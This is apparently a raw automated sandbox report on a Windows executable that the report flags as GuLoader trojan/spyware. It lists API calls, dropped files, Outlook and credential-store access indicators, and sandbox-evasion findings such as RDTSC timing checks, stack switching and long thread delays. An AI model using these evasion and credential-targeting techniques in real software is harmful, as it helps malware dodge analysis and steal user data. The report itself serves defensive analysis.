Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED2E10	4_2_38ED2E10
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDAFE8	4_2_38EDAFE8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDAFF8	4_2_38EDAFF8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38EDAFF7	4_2_38EDAFF7
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED67C0	4_2_38ED67C0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED0FA8	4_2_38ED0FA8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED67B0	4_2_38ED67B0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED3F70	4_2_38ED3F70
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED3F72	4_2_38ED3F72
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_38ED5F10	4_2_38ED5F10
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3940E870	4_2_3940E870
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_3940D6E8	4_2_3940D6E8
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_394075E8	4_2_394075E8

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: String function: 00402BBF appears 51 times

Source: FILHKLtCw0.exe, 00000004.00000002.3308981661.0000000035EF7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs FILHKLtCw0.exe
Source: FILHKLtCw0.exe, 00000004.00000002.3289900062.0000000005B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs FILHKLtCw0.exe

Source: FILHKLtCw0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Code function: 4_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032A0

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

File created: C:\Users\user\AppData\Local\Temp\nsh429.tmp

Jump to behavior

Source: FILHKLtCw0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036195000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.0000000036185000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361C4000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361B7000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3309261776.00000000361A3000.00000004.00000800.00020000.00000000.sdmp, FILHKLtCw0.exe, 00000004.00000002.3310056551.00000000370CD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: FILHKLtCw0.exe	ReversingLabs: Detection: 60%
Source: FILHKLtCw0.exe	Virustotal: Detection: 75%

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

File read: C:\Users\user\Desktop\FILHKLtCw0.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\FILHKLtCw0.exe "C:\Users\user\Desktop\FILHKLtCw0.exe"
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process created: C:\Users\user\Desktop\FILHKLtCw0.exe "C:\Users\user\Desktop\FILHKLtCw0.exe"
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process created: C:\Users\user\Desktop\FILHKLtCw0.exe "C:\Users\user\Desktop\FILHKLtCw0.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: FILHKLtCw0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2868592478.0000000003DC1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Code function: 0_2_10002DE0 push eax; ret

0_2_10002E0E

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

File created: C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	API/Special instruction interceptor: Address: 470EDDA
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	API/Special instruction interceptor: Address: 34CEDDA

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	RDTSC instruction interceptor: First address: 46C9044 second address: 46C9044 instructions: 0x00000000 rdtsc 0x00000002 cmp bx, cx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F6C68D82065h 0x00000009 test bh, bh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	RDTSC instruction interceptor: First address: 3489044 second address: 3489044 instructions: 0x00000000 rdtsc 0x00000002 cmp bx, cx 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F6C68519E35h 0x00000009 test bh, bh 0x0000000b inc ebp 0x0000000c inc ebx 0x0000000d rdtsc

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Memory allocated: 360A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Memory allocated: 380A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598684	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597850	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597624	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595541	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595218	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 595107	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594993	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594782	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594561	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594452	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Thread delayed: delay time: 594234	Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Window / User API: threadDelayed 7910			Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe	Window / User API: threadDelayed 1934			Jump to behavior

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\FILHKLtCw0.exe

API coverage: 2.8 %

Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 3996	Thread sleep count: 7910 > 30	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 3996	Thread sleep count: 1934 > 30	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FILHKLtCw0.exe TID: 7132	Thread sleep time: -599343s >= -30000s	Jump to behavior
